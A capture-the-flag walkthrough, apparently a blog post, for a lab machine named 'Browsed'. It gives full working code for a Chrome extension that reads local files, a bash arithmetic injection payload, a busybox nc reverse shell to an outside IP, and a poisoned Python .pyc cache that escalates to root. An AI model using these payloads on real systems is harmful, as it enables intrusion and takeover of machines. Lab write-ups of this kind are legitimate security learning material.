IP=10.129.6.1
nmap -Pn -p- -T4 -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# | 256 02c8a4bac5ed0b13efb7e7d7efa29d92 (ECDSA)
# |_ 256 53eabec707059daa9f44f8bf32ed5c9a (ED25519)
# 80/tcp open http nginx 1.24.0 (Ubuntu)
# |_http-title: Browsed
# |_http-server-header: nginx/1.24.0 (Ubuntu)
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can upload a chrome extension and send it via a zip file, the server will run it apparently, let's try that.
In a new directory we create a manifest.json:
{
"manifest_version": 3,
"name": "Test",
"version": "1.0",
"host_permissions": ["<all_urls>"],
"background": {
"service_worker": "background.js"
}
}
And a background.js:
console.log("RUNNING!");
We can then zip out.zip * and upload it, after 10s we get a long debug output and we see:
[4077:4077:0112/202442.624905:INFO:CONSOLE(1)] "RUNNING!", source: chrome-extension://nmhaeamlfcbmdokpofcpnfnajibikhlg/background.js (1)
Nice, After that I tried fetch('/etc/passwd') but it fails with the following error: "Not allowed to load local resource: file:///etc/passwd"
At first I though it was missing permissions, so I added "permissions": ["tabs", "scripting"] to the manifest, but it still fails.
We need to find a way to bypass this security and read local files. We can try to abuse the fact that are running in a full chromium headless environment, and try to open a new tab with the URL: file:///etc/passwd, then read the content from there.
const filePath = 'file:///etc/passwd';
const tab = await chrome.tabs.create({ url: `${filePath}`, active: false });
chrome.tabs.onUpdated.addListener(function listener(tabId, info) {
if (tabId === tab.id && info.status === 'complete') {
chrome.tabs.onUpdated.removeListener(listener);
chrome.scripting.executeScript({
target: { tabId: tab.id },
func: () => document.body.innerText
}, (results) => {
if (chrome.runtime.lastError || !results || results.length === 0) {
console.error('Failed to retrieve page text');
return;
}
const pageText = results[0].result;
console.log(pageText);
});
}
});
Running this worked we get the contents of the file and we learn about a single user larry.
I then tried to arbitrarily read other files, like /home/larry/user.txt, or .ssh/id_rsa or nginx configs and logs, but nothing really worked nor was useful, I fetched /etc/hosts and got something interesting:
127.0.0.1 localhost
127.0.1.1 browsed browsedinternals.htb browsed.htb
<SNIP>
Adding those sites to our /etc/hosts, we find that browsedinternalshtb is a Gitea site, we can access a public repo called MarkdownPreview that explicitly says in the README "Still in developement, it should only run locally !!!"
Looking at the files we see it runs a Flask app on tcp/5000, and the API has some interesting routes, we can try to fetch one via our extension path traversal by trying to open http://localhost:5000/files:
Saved HTML Files
cf23093c09e7478382e716e31d06b3ef.html
Back to editor
It worked, let's look for a vulnerability in the code, one interesting route is the /routines, it calls out to a bash script and passes arbitrary input to it:
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
The bash script uses $1 in arithmetic evaluation:
if [[ "$1" -eq 0 ]]; then
# ...
Looking online I found that you can do bash arithmetic evaluation injection by using arrays, for example we can create an array called a and suffix it with a 0, to make sure the -eq 0 receives a number and is happy. Which looks like this: a[]0.
Then inside this array we can run any command that is supposed to be used to populate the array, for example here with a test script:
./test.sh 'a[$(echo Test > /tmp/pwned)]0'
# ./test.sh: line 3: [[: a[$(echo Test > /tmp/pwned)]0: syntax error in expression (error token is "0")
cat /tmp/pwned
# Test
We can use this and send it trough the API, let's try to send a reverse shell, busybox nc works fine and because we are not dealing with file:// anymore we can use fetch instead of opening a new tab:
const cmd = 'busybox nc 10.10.15.223 4444 -e sh';
const rid = `a[$( ${cmd} )]0`;
fetch(`http://localhost:5000/routines/${encodeURIComponent(rid)}`);
Sending this with our listener waiting we get a shell as larry and the user flag.
We stabilize the shell as larry and we can keep exploring, for example we could give ourselves a SSH key and log it through ssh to get a better environment.
Looking at our privileges we see we can run a special python script as root:
sudo -l
# Matching Defaults entries for larry on browsed:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
#
# User larry may run the following commands on browsed:
# (root) NOPASSWD: /opt/extensiontool/extension_tool.py
ls -la /opt/extensiontool/
# total 24
# drwxr-xr-x 4 root root 4096 Jan 13 14:56 .
# drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
# drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
# -rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
# -rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
# drwxrwxrwx 2 root root 4096 Jan 13 15:05 __pycache__
sudo /opt/extensiontool/extension_tool.py -h
# usage: extension_tool.py [-h] [--ext EXT] [--bump {major,minor,patch}] [--zip [ZIP]] [--clean]
#
# Validate, bump version, and package a browser extension.
#
# options:
# -h, --help show this help message and exit
# --ext EXT Which extension to load
# --bump {major,minor,patch}
# Version bump type
# --zip [ZIP] Output zip file name
# --clean Clean up temporary files after packaging
The extension_tool.py imports extension_utils.py, and the __pycache__ directory is writable by everyone and its not populated. This is very unusual and specific setup.
Looking online we learn that this could be a type of cache poisoning attack, also referred to as "RCE via Dirty Arbitrary File Write".
There's this pretty detailed article about the subject, by Siunam, though their version has an extra web step to it, we can use their poc and only keep the malicious .pyc crafting part.
Essentially, the python interpreter will prefer compiled .pyc files inside __pycache__ over the source .py files, but, I guess for versioning and cache management reasons, it's very picky about the header of the compiled files. It needs to match the source file's modification timestamp and size.
We can quickly refer to the guide by Siunam and the PEP-552 documentation to setup a small script that will craft a header and get the marshal dump of our malicious code. Here is structure for the header:

Source: Python bytecode analysis (1)
We can ask python for the magic number, we are using 3.12, and we can also just pad the bit field with 0's, also the pyc filename needs to reflect the "magic" being .cpython-312.pyc in our case:
import os
import marshal
import importlib.util
src_stat = os.stat('/opt/extensiontool/extension_utils.py')
src_mtime = int(src_stat.st_mtime)
src_size = src_stat.st_size & 0xFFFFFFFF
code = compile("import os; os.system('chmod +s /bin/bash')", 'extension_utils.py', 'exec')
magic = importlib.util.MAGIC_NUMBER
header = magic + b'\x00\x00\x00\x00' + src_mtime.to_bytes(4, 'little') + src_size.to_bytes(4, 'little')
with open('/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc', 'wb') as f:
f.write(header)
f.write(marshal.dumps(code))
Now if we run our script:
python3 fix_timestamp.py
ls -la /opt/extensiontool/extension_utils.py /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
# -rw-rw-r-- 1 root root 1245 Mar 23 2025 /opt/extensiontool/extension_utils.py
# -rw-rw-r-- 1 larry larry 210 Jan 13 15:02 /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
Our file just got created, we can run the python tool:
sudo /opt/extensiontool/extension_tool.py --clean
# Traceback (most recent call last):
# File "/opt/extensiontool/extension_tool.py", line 5, in <module>
# from extension_utils import validate_manifest, clean_temp_files
# ImportError: cannot import name 'validate_manifest' from 'extension_utils' (/opt/extensiontool/extension_utils.py)
And the error is a really good sign, let's see if we can get a persistant session with bash since we gave it the SUID bit:
/bin/bash -p
whoami
# root
And we got root flag.
2026 © Philippe Cheype
Base theme by Digital Garden